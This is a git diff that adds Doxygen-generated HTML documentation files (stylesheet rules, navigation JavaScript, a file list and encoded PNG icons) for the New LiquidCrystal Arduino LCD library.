#9CAFD4; + width: 100%; +} + +.directory table { + border-collapse:collapse; +} + +.directory td { + margin: 0px; + padding: 0px; + vertical-align: top; +} + +.directory td.entry { + white-space: nowrap; + padding-right: 6px; + padding-top: 3px; +} + +.directory td.entry a { + outline:none; +} + +.directory td.entry a img { + border: none; +} + +.directory td.desc { + width: 100%; + padding-left: 6px; + padding-right: 6px; + padding-top: 3px; + border-left: 1px solid rgba(0,0,0,0.05); +} + +.directory tr.even { + padding-left: 6px; + background-color: #F7F8FB; +} + +.directory img { + vertical-align: -30%; +} + +.directory .levels { + white-space: nowrap; + width: 100%; + text-align: right; + font-size: 9pt; +} + +.directory .levels span { + cursor: pointer; + padding-left: 2px; + padding-right: 2px; + color: #3D578C; +} + +.arrow { + color: #9CAFD4; + -webkit-user-select: none; + -khtml-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; + cursor: pointer; + font-size: 80%; + display: inline-block; + width: 16px; + height: 22px; +} + +.icon { + font-family: Arial, Helvetica; + font-weight: bold; + font-size: 12px; + height: 14px; + width: 16px; + display: inline-block; + background-color: #728DC1; + color: white; + text-align: center; + border-radius: 4px; + margin-left: 2px; + margin-right: 2px; +} + +.icona { + width: 24px; + height: 22px; + display: inline-block; +} + +.iconfopen { + width: 24px; + height: 18px; + margin-bottom: 4px; + background-image:url('folderopen.png'); + background-position: 0px -4px; + background-repeat: repeat-y; + vertical-align:top; + display: inline-block; +} + +.iconfclosed { + width: 24px; + height: 18px; + margin-bottom: 4px; + background-image:url('folderclosed.png'); + background-position: 0px -4px; + background-repeat: repeat-y; + vertical-align:top; + display: inline-block; +} + +.icondoc { + width: 24px; + height: 18px; + margin-bottom: 4px; + background-image:url('doc.png'); + background-position: 0px -4px; + background-repeat: repeat-y; + vertical-align:top; + display: inline-block; +} + +table.directory { + font: 400 14px Roboto,sans-serif; +} + +/* @end */ + +div.dynheader { + margin-top: 8px; + -webkit-touch-callout: none; + -webkit-user-select: none; + -khtml-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} + +address { + font-style: normal; + color: #2A3D61; +} + +table.doxtable { + border-collapse:collapse; + margin-top: 4px; + margin-bottom: 4px; +} + +table.doxtable td, table.doxtable th { + border: 1px solid #2D4068; + padding: 3px 7px 2px; +} + +table.doxtable th { + background-color: #374F7F; + color: #FFFFFF; + font-size: 110%; + padding-bottom: 4px; + padding-top: 5px; +} + +table.fieldtable { + /*width: 100%;*/ + margin-bottom: 10px; + border: 1px solid #A8B8D9; + border-spacing: 0px; + -moz-border-radius: 4px; + -webkit-border-radius: 4px; + border-radius: 4px; + -moz-box-shadow: rgba(0, 0, 0, 0.15) 2px 2px 2px; + -webkit-box-shadow: 2px 2px 2px rgba(0, 0, 0, 0.15); + box-shadow: 2px 2px 2px rgba(0, 0, 0, 0.15); +} + +.fieldtable td, .fieldtable th { + padding: 3px 7px 2px; +} + +.fieldtable td.fieldtype, .fieldtable td.fieldname { + white-space: nowrap; + border-right: 1px solid #A8B8D9; + border-bottom: 1px solid #A8B8D9; + vertical-align: top; +} + +.fieldtable td.fieldname { + padding-top: 3px; +} + +.fieldtable td.fielddoc { + border-bottom: 1px solid #A8B8D9; + /*width: 100%;*/ +} + +.fieldtable td.fielddoc p:first-child { + margin-top: 0px; +} + +.fieldtable td.fielddoc p:last-child { + margin-bottom: 2px; +} + +.fieldtable tr:last-child td { + border-bottom: none; +} + +.fieldtable th { + background-image:url('nav_f.png'); + background-repeat:repeat-x; + background-color: #E2E8F2; + font-size: 90%; + color: #253555; + padding-bottom: 4px; + padding-top: 5px; + text-align:left; + -moz-border-radius-topleft: 4px; + -moz-border-radius-topright: 4px; + -webkit-border-top-left-radius: 4px; + -webkit-border-top-right-radius: 4px; + border-top-left-radius: 4px; + border-top-right-radius: 4px; + border-bottom: 1px solid #A8B8D9; +} + + +.tabsearch { + top: 0px; + left: 10px; + height: 36px; + background-image: url('tab_b.png'); + z-index: 101; + overflow: hidden; + font-size: 13px; +} + +.navpath ul +{ + font-size: 11px; + background-image:url('tab_b.png'); + background-repeat:repeat-x; + background-position: 0 -5px; + height:30px; + line-height:30px; + color:#8AA0CC; + border:solid 1px #C2CDE4; + overflow:hidden; + margin:0px; + padding:0px; +} + +.navpath li +{ + list-style-type:none; + float:left; + padding-left:10px; + padding-right:15px; + background-image:url('bc_s.png'); + background-repeat:no-repeat; + background-position:right; + color:#364D7C; +} + +.navpath li.navelem a +{ + height:32px; + display:block; + text-decoration: none; + outline: none; + color: #283A5D; + font-family: 'Lucida Grande',Geneva,Helvetica,Arial,sans-serif; + text-shadow: 0px 1px 1px rgba(255, 255, 255, 0.9); + text-decoration: none; +} + +.navpath li.navelem a:hover +{ + color:#6884BD; +} + +.navpath li.footer +{ + list-style-type:none; + float:right; + padding-left:10px; + padding-right:15px; + background-image:none; + background-repeat:no-repeat; + background-position:right; + color:#364D7C; + font-size: 8pt; +} + + +div.summary +{ + float: right; + font-size: 8pt; + padding-right: 5px; + width: 50%; + text-align: right; +} + +div.summary a +{ + white-space: nowrap; +} + +div.ingroups +{ + font-size: 8pt; + width: 50%; + text-align: left; +} + +div.ingroups a +{ + white-space: nowrap; +} + +div.header +{ + background-image:url('nav_h.png'); + background-repeat:repeat-x; + background-color: #F9FAFC; + margin: 0px; + border-bottom: 1px solid #C4CFE5; +} + +div.headertitle +{ + padding: 5px 5px 5px 10px; +} + +dl +{ + padding: 0 0 0 10px; +} + +/* dl.note, dl.warning, dl.attention, dl.pre, dl.post, dl.invariant, dl.deprecated, dl.todo, dl.test, dl.bug */ +dl.section +{ + margin-left: 0px; + padding-left: 0px; +} + +dl.note +{ + margin-left:-7px; + padding-left: 3px; + border-left:4px solid; + border-color: #D0C000; +} + +dl.warning, dl.attention +{ + margin-left:-7px; + padding-left: 3px; + border-left:4px solid; + border-color: #FF0000; +} + +dl.pre, dl.post, dl.invariant +{ + margin-left:-7px; + padding-left: 3px; + border-left:4px solid; + border-color: #00D000; +} + +dl.deprecated +{ + margin-left:-7px; + padding-left: 3px; + border-left:4px solid; + border-color: #505050; +} + +dl.todo +{ + margin-left:-7px; + padding-left: 3px; + border-left:4px solid; + border-color: #00C0E0; +} + +dl.test +{ + margin-left:-7px; + padding-left: 3px; + border-left:4px solid; + border-color: #3030E0; +} + +dl.bug +{ + margin-left:-7px; + padding-left: 3px; + border-left:4px solid; + border-color: #C08050; +} + +dl.section dd { + margin-bottom: 6px; +} + + +#projectlogo +{ + text-align: center; + vertical-align: bottom; + border-collapse: separate; +} + +#projectlogo img +{ + border: 0px none; +} + +#projectalign +{ + vertical-align: middle; +} + +#projectname +{ + font: 300% Tahoma, Arial,sans-serif; + margin: 0px; + padding: 2px 0px; +} + +#projectbrief +{ + font: 120% Tahoma, Arial,sans-serif; + margin: 0px; + padding: 0px; +} + +#projectnumber +{ + font: 50% Tahoma, Arial,sans-serif; + margin: 0px; + padding: 0px; +} + +#titlearea +{ + padding: 0px; + margin: 0px; + width: 100%; + border-bottom: 1px solid #5373B4; +} + +.image +{ + text-align: center; +} + +.dotgraph +{ + text-align: center; +} + +.mscgraph +{ + text-align: center; +} + +.diagraph +{ + text-align: center; +} + +.caption +{ + font-weight: bold; +} + +div.zoom +{ + border: 1px solid #90A5CE; +} + +dl.citelist { + margin-bottom:50px; +} + +dl.citelist dt { + color:#334975; + float:left; + font-weight:bold; + margin-right:10px; + padding:5px; +} + +dl.citelist dd { + margin:2px 0; + padding:5px 0; +} + +div.toc { + padding: 14px 25px; + background-color: #F4F6FA; + border: 1px solid #D8DFEE; + border-radius: 7px 7px 7px 7px; + float: right; + height: auto; + margin: 0 20px 10px 10px; + width: 200px; +} + +div.toc li { + background: url("bdwn.png") no-repeat scroll 0 5px transparent; + font: 10px/1.2 Verdana,DejaVu Sans,Geneva,sans-serif; + margin-top: 5px; + padding-left: 10px; + padding-top: 2px; +} + +div.toc h3 { + font: bold 12px/1.2 Arial,FreeSans,sans-serif; + color: #4665A2; + border-bottom: 0 none; + margin: 0; +} + +div.toc ul { + list-style: none outside none; + border: medium none; + padding: 0px; +} + +div.toc li.level1 { + margin-left: 0px; +} + +div.toc li.level2 { + margin-left: 15px; +} + +div.toc li.level3 { + margin-left: 30px; +} + +div.toc li.level4 { + margin-left: 45px; +} + +.inherit_header { + font-weight: bold; + color: gray; + cursor: pointer; + -webkit-touch-callout: none; + -webkit-user-select: none; + -khtml-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} + +.inherit_header td { + padding: 6px 0px 2px 5px; +} + +.inherit { + display: none; +} + +tr.heading h2 { + margin-top: 12px; + margin-bottom: 4px; +} + +/* tooltip related style info */ + +.ttc { + position: absolute; + display: none; +} + +#powerTip { + cursor: default; + white-space: nowrap; + background-color: white; + border: 1px solid gray; + border-radius: 4px 4px 4px 4px; + box-shadow: 1px 1px 7px gray; + display: none; + font-size: smaller; + max-width: 80%; + opacity: 0.9; + padding: 1ex 1em 1em; + position: absolute; + z-index: 2147483647; +} + +#powerTip div.ttdoc { + color: grey; + font-style: italic; +} + +#powerTip div.ttname a { + font-weight: bold; +} + +#powerTip div.ttname { + font-weight: bold; +} + +#powerTip div.ttdeci { + color: #006318; +} + +#powerTip div { + margin: 0px; + padding: 0px; + font: 12px/16px Roboto,sans-serif; +} + +#powerTip:before, #powerTip:after { + content: ""; + position: absolute; + margin: 0px; +} + +#powerTip.n:after, #powerTip.n:before, +#powerTip.s:after, #powerTip.s:before, +#powerTip.w:after, #powerTip.w:before, +#powerTip.e:after, #powerTip.e:before, +#powerTip.ne:after, #powerTip.ne:before, +#powerTip.se:after, #powerTip.se:before, +#powerTip.nw:after, #powerTip.nw:before, +#powerTip.sw:after, #powerTip.sw:before { + border: solid transparent; + content: " "; + height: 0; + width: 0; + position: absolute; +} + +#powerTip.n:after, #powerTip.s:after, +#powerTip.w:after, #powerTip.e:after, +#powerTip.nw:after, #powerTip.ne:after, +#powerTip.sw:after, #powerTip.se:after { + border-color: rgba(255, 255, 255, 0); +} + +#powerTip.n:before, #powerTip.s:before, +#powerTip.w:before, #powerTip.e:before, +#powerTip.nw:before, #powerTip.ne:before, +#powerTip.sw:before, #powerTip.se:before { + border-color: rgba(128, 128, 128, 0); +} + +#powerTip.n:after, #powerTip.n:before, +#powerTip.ne:after, #powerTip.ne:before, +#powerTip.nw:after, #powerTip.nw:before { + top: 100%; +} + +#powerTip.n:after, #powerTip.ne:after, #powerTip.nw:after { + border-top-color: #ffffff; + border-width: 10px; + margin: 0px -10px; +} +#powerTip.n:before { + border-top-color: #808080; + border-width: 11px; + margin: 0px -11px; +} +#powerTip.n:after, #powerTip.n:before { + left: 50%; +} + +#powerTip.nw:after, #powerTip.nw:before { + right: 14px; +} + +#powerTip.ne:after, #powerTip.ne:before { + left: 14px; +} + +#powerTip.s:after, #powerTip.s:before, +#powerTip.se:after, #powerTip.se:before, +#powerTip.sw:after, #powerTip.sw:before { + bottom: 100%; +} + +#powerTip.s:after, #powerTip.se:after, #powerTip.sw:after { + border-bottom-color: #ffffff; + border-width: 10px; + margin: 0px -10px; +} + +#powerTip.s:before, #powerTip.se:before, #powerTip.sw:before { + border-bottom-color: #808080; + border-width: 11px; + margin: 0px -11px; +} + +#powerTip.s:after, #powerTip.s:before { + left: 50%; +} + +#powerTip.sw:after, #powerTip.sw:before { + right: 14px; +} + +#powerTip.se:after, #powerTip.se:before { + left: 14px; +} + +#powerTip.e:after, #powerTip.e:before { + left: 100%; +} +#powerTip.e:after { + border-left-color: #ffffff; + border-width: 10px; + top: 50%; + margin-top: -10px; +} +#powerTip.e:before { + border-left-color: #808080; + border-width: 11px; + top: 50%; + margin-top: -11px; +} + +#powerTip.w:after, #powerTip.w:before { + right: 100%; +} +#powerTip.w:after { + border-right-color: #ffffff; + border-width: 10px; + top: 50%; + margin-top: -10px; +} +#powerTip.w:before { + border-right-color: #808080; + border-width: 11px; + top: 50%; + margin-top: -11px; +} + +@media print +{ + #top { display: none; } + #side-nav { display: none; } + #nav-path { display: none; } + body { overflow:visible; } + h1, h2, h3, h4, h5, h6 { page-break-after: avoid; } + .summary { display: none; } + .memitem { page-break-inside: avoid; } + #doc-content + { + margin-left:0 !important; + height:auto !important; + width:auto !important; + overflow:inherit; + display:inline; + } +} + diff --git a/libraries/NewliquidCrystal/utility/docs/html/doxygen.png b/libraries/NewliquidCrystal/utility/docs/html/doxygen.png new file mode 100644 index 0000000000000000000000000000000000000000..3ff17d807fd8aa003bed8bb2a69e8f0909592fd1 GIT binary patch literal 3779 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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/utility/docs/html/dynsections.js b/libraries/NewliquidCrystal/utility/docs/html/dynsections.js new file mode 100644 index 0000000..85e1836 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/dynsections.js @@ -0,0 +1,97 @@ +function toggleVisibility(linkObj) +{ + var base = $(linkObj).attr('id'); + var summary = $('#'+base+'-summary'); + var content = $('#'+base+'-content'); + var trigger = $('#'+base+'-trigger'); + var src=$(trigger).attr('src'); + if (content.is(':visible')===true) { + content.hide(); + summary.show(); + $(linkObj).addClass('closed').removeClass('opened'); + $(trigger).attr('src',src.substring(0,src.length-8)+'closed.png'); + } else { + content.show(); + summary.hide(); + $(linkObj).removeClass('closed').addClass('opened'); + $(trigger).attr('src',src.substring(0,src.length-10)+'open.png'); + } + return false; +} + +function updateStripes() +{ + $('table.directory tr'). + removeClass('even').filter(':visible:even').addClass('even'); +} + +function toggleLevel(level) +{ + $('table.directory tr').each(function() { + var l = this.id.split('_').length-1; + var i = $('#img'+this.id.substring(3)); + var a = $('#arr'+this.id.substring(3)); + if (l + + + + + +New LiquidCrystal library: File List + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + +
+ +
+
+ + +
+ +
+ +
+
+
File List
+
+
+
Here is a list of all documented files with brief descriptions:
+ + + + + + + + + + + + + + +
 FastIO.h
 I2CIO.h
 LCD.h
 LiquidCrystal.h
 LiquidCrystal_I2C.h
 LiquidCrystal_I2C_ByVac.h
 LiquidCrystal_SI2C.h
 LiquidCrystal_SR.h
 LiquidCrystal_SR1W.h
 LiquidCrystal_SR2W.h
 LiquidCrystal_SR3W.h
 SI2CIO.h
 SoftI2CMaster.h
+
+
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/files.js b/libraries/NewliquidCrystal/utility/docs/html/files.js new file mode 100644 index 0000000..3696737 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/files.js @@ -0,0 +1,16 @@ +var files = +[ + [ "FastIO.h", "_fast_i_o_8h_source.html", null ], + [ "I2CIO.h", "_i2_c_i_o_8h_source.html", null ], + [ "LCD.h", "_l_c_d_8h_source.html", null ], + [ "LiquidCrystal.h", "_liquid_crystal_8h_source.html", null ], + [ "LiquidCrystal_I2C.h", "_liquid_crystal___i2_c_8h_source.html", null ], + [ "LiquidCrystal_I2C_ByVac.h", "_liquid_crystal___i2_c___by_vac_8h_source.html", null ], + [ "LiquidCrystal_SI2C.h", "_liquid_crystal___s_i2_c_8h_source.html", null ], + [ "LiquidCrystal_SR.h", "_liquid_crystal___s_r_8h_source.html", null ], + [ "LiquidCrystal_SR1W.h", "_liquid_crystal___s_r1_w_8h_source.html", null ], + [ "LiquidCrystal_SR2W.h", "_liquid_crystal___s_r2_w_8h_source.html", null ], + [ "LiquidCrystal_SR3W.h", "_liquid_crystal___s_r3_w_8h_source.html", null ], + [ "SI2CIO.h", "_s_i2_c_i_o_8h_source.html", null ], + [ "SoftI2CMaster.h", "_soft_i2_c_master_8h_source.html", null ] +]; \ No newline at end of file diff --git a/libraries/NewliquidCrystal/utility/docs/html/folderclosed.png b/libraries/NewliquidCrystal/utility/docs/html/folderclosed.png new file mode 100644 index 0000000000000000000000000000000000000000..bb8ab35edce8e97554e360005ee9fc5bffb36e66 GIT binary patch literal 616 zcmV-u0+;=XP)a9#ETzayK)T~Jw&MMH>OIr#&;dC}is*2Mqdf&akCc=O@`qC+4i z5Iu3w#1M@KqXCz8TIZd1wli&kkl2HVcAiZ8PUn5z_kG@-y;?yK06=cA0U%H0PH+kU zl6dp}OR(|r8-RG+YLu`zbI}5TlOU6ToR41{9=uz^?dGTNL;wIMf|V3`d1Wj3y!#6` zBLZ?xpKR~^2x}?~zA(_NUu3IaDB$tKma*XUdOZN~c=dLt_h_k!dbxm_*ibDM zlFX`g{k$X}yIe%$N)cn1LNu=q9_CS)*>A zsX_mM4L@`(cSNQKMFc$RtYbx{79#j-J7hk*>*+ZZhM4Hw?I?rsXCi#mRWJ=-0LGV5a-WR0Qgt<|Nqf)C-@80`5gIz45^_20000IqP)X=#(TiCT&PiIIVc55T}TU}EUh*{q$|`3@{d>{Tc9Bo>e= zfmF3!f>fbI9#GoEHh0f`i5)wkLpva0ztf%HpZneK?w-7AK@b4Itw{y|Zd3k!fH?q2 zlhckHd_V2M_X7+)U&_Xcfvtw60l;--DgZmLSw-Y?S>)zIqMyJ1#FwLU*%bl38ok+! zh78H87n`ZTS;uhzAR$M`zZ`bVhq=+%u9^$5jDplgxd44}9;IRqUH1YHH|@6oFe%z( zo4)_>E$F&^P-f(#)>(TrnbE>Pefs9~@iN=|)Rz|V`sGfHNrJ)0gJb8xx+SBmRf@1l zvuzt=vGfI)<-F9!o&3l?>9~0QbUDT(wFdnQPv%xdD)m*g%!20>Bc9iYmGAp<9YAa( z0QgYgTWqf1qN++Gqp z8@AYPTB3E|6s=WLG?xw0tm|U!o=&zd+H0oRYE;Dbx+Na9s^STqX|Gnq%H8s(nGDGJ j8vwW|`Ts`)fSK|Kx=IK@RG@g200000NkvXXu0mjfauFEA literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/utility/docs/html/ftv2blank.png b/libraries/NewliquidCrystal/utility/docs/html/ftv2blank.png new file mode 100644 index 0000000000000000000000000000000000000000..3b7a29cb81d7895a716673f35590eaceb3793003 GIT binary patch literal 82 zcmeAS@N?(olHy`uVBq!ia0vp^0zfRr!3HExu9B$%Qj(r7jv*C{Z|@!iau}EweqKKB en4GH+gF74RGzP}kvk&b8iF>;GxvX)7Tz#%>LmF6&|330OTN|a z{{=wx+WhU0y6zlAwAzONbPgh(@3v{|w(wmG$5y0Vi+t!($avy)0Ha#1p4gmU`n#I# zOX4L>+=Pi^D-w<(VJqs-_euK>g^b7iVhvNtYC7fIJCj6)A&|1Wgb-M!ftN7xU5k9^ z@#NVq`OxLViy`w%H6H)99eYw@JunRU3L>RIDT(VSeAi@ky#YWzbh$j1<pqv?W@8uFpX4?q6OPP0QkbO~IGXIo9O=aZ-NV0o=k&0TPjQc&C8 z!;pex!eqPA!cUs?hc4OkF6op_%C)F%@1dk*c;MU#FXAUKBtpQW-|J|tx%P2^UlulK zwGZh_IhaZ^JaCSkW}BlA_S*+%^WdfSH>XQXjD|RtVy0Z;_Vr<=C-PkTs6a925qLJ4 zz9gMabov~;1OPmE_=JV!O@@jAe?HwI;V4$t8cdGo2z;B1r8H5bX?MDrIa89Q5Zss= z3MpTJTEh7^?geXfpYnXQa)=k^DD@#zqw@ANTS8R5IHFCnGC zFye2Ec=U1D9z0xQab=64V!-Np9 zMH(puT5FV&6f)kci?5jV5ds3wqW^;1om2`AV;-)a5=D__^7FeqUH%!%?ly_5cIySX scdzjM-MP~PD&>->{B-~SC-dL>2dY=Zuwh)(*Z=?k07*qoM6N<$f<5VZJOBUy literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/utility/docs/html/ftv2folderclosed.png b/libraries/NewliquidCrystal/utility/docs/html/ftv2folderclosed.png new file mode 100644 index 0000000000000000000000000000000000000000..79aeaf70ea92d062a16854ad40e52e89cca48045 GIT binary patch literal 598 zcmV-c0;&CpP)@n_AxdjH^X_%=W+pR9H4$uA4h+M)Z#d_kbMCy^l8E3iFLkKsM?rAxpyKm4 zpJZ)wCsn&Nox^H-lKu(7+U5>wm2A8w0^WW2g4OoqUn>|0`SFu=`MCWZGa&&HAOdV` zeYKtvfkmJwErvx<&bzpCtDf3$I-O4H#iuW}I=63DQ7*VBG#m1QZc43!?0j^^rop|LB$6n4f?j zSPLSMBym3p04SyK^8IH#yt|kRc|ZZP#1{3s>~(8cV(ZcbR^><;boWi%VKNIM>wn*b zrp9+Dfgc#`?)fkxAXp?70cB6ODCBKDeot&&>KAEwTgN^hb6}3t>x6&%> z>z6%!t?B87Mo}*`iu!6}T+i3Xb*om;?Rrr!&KC93tf!Zno?gCE(#vyYJy$L0%-E@C ke^gM)yZ8S8(TzBo>VXiD3(P1I6Ekr)}6_y7!i1Evm4%w}a`=R2?wr!y|)&JW~oFQEP}n%!wl+h7bZoguFAGAuz-k z9*7*IR2fz1a$M z`?}KYC8b+UU$+)Ky?o8nt){0t%SvyoRQ2X+pl`K9eY;cFou#T?yjpoZ)xmbBzVrWw c^H&Le0J=&DKt3yzzW@LL07*qoM6N<$g5G@uO#lD@ literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/utility/docs/html/ftv2lastnode.png b/libraries/NewliquidCrystal/utility/docs/html/ftv2lastnode.png new file mode 100644 index 0000000000000000000000000000000000000000..3b7a29cb81d7895a716673f35590eaceb3793003 GIT binary patch literal 82 zcmeAS@N?(olHy`uVBq!ia0vp^0zfRr!3HExu9B$%Qj(r7jv*C{Z|@!iau}EweqKKB en4GH+gF74RGzP}kvk&b8iF>;GxvX)7Tz#%>LmF6&|330OTN|a z{{=wx+WhU0y6zlAwAzONbPgh(@3v{|w(wmG$5y0Vi+t!($avy)0Ha#1p4gmU`n#I# zOX4L>+=Pi^D-w<(VJqs-_euK>g^b7iVhvNtYC7fIJCj6)A&|1Wgb-M!ftN7xU5k9^ z@#NVq`OxLViy`w%H6H)99eYw@JunRU3L>RIDT(VSeAi@ky#YWzbh$j1<pqv?W@8uFpX4?q6OPP0QkbO~IGXIo9O=aZ-NV0o=k&0TPjQc&C8 z!;pex!eqPA!cUs?hc4OkF6op_%C)F%@1dk*c;MU#FXAUKBtpQW-|J|tx%P2^UlulK zwGZh_IhaZ^JaCSkW}BlA_S*+%^WdfSH>XQXjD|RtVy0Z;_Vr<=C-PkTs6a925qLJ4 zz9gMabov~;1OPmE_=JV!O@@jAe?HwI;V4$t8cdGo2z;B1r8H5bX?MDrIa89Q5Zss= z3MpTJTEh7^?geXfpYnXQa)=k^DD@#zqw@ANTS8R5IHFCnGC zFye2Ec=U1D9z0xQab=64V!-Np9 zMH(puT5FV&6f)kci?5jV5ds3wqW^;1om2`AV;-)a5=D__^7FeqUH%!%?ly_5cIySX scdzjM-MP~PD&>->{B-~SC-dL>2dY=Zuwh)(*Z=?k07*qoM6N<$f<5VZJOBUy literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/utility/docs/html/ftv2mlastnode.png b/libraries/NewliquidCrystal/utility/docs/html/ftv2mlastnode.png new file mode 100644 index 0000000000000000000000000000000000000000..ec51f17a1fdc860c16a34aa1aeb753624409385b GIT binary patch literal 221 zcmV<303!d1P)zyT<scVDZ7_{EOe0eBcqfczyT<scVDZ7_{EOe0eBcqfc;GxvXiI)3s$q zXLSp?Vw#S->OEjPiI)3s$q zXLSp?Vw#S->OEjP-{AmhX=Jf@Vh3;mo5W!fIz z|G!}-&+_@bPjpO9=CQeNG-x}^He0~wUVC_fMvB=U2Bz7OmlqlcNzZjyB-4HN7~9Lr 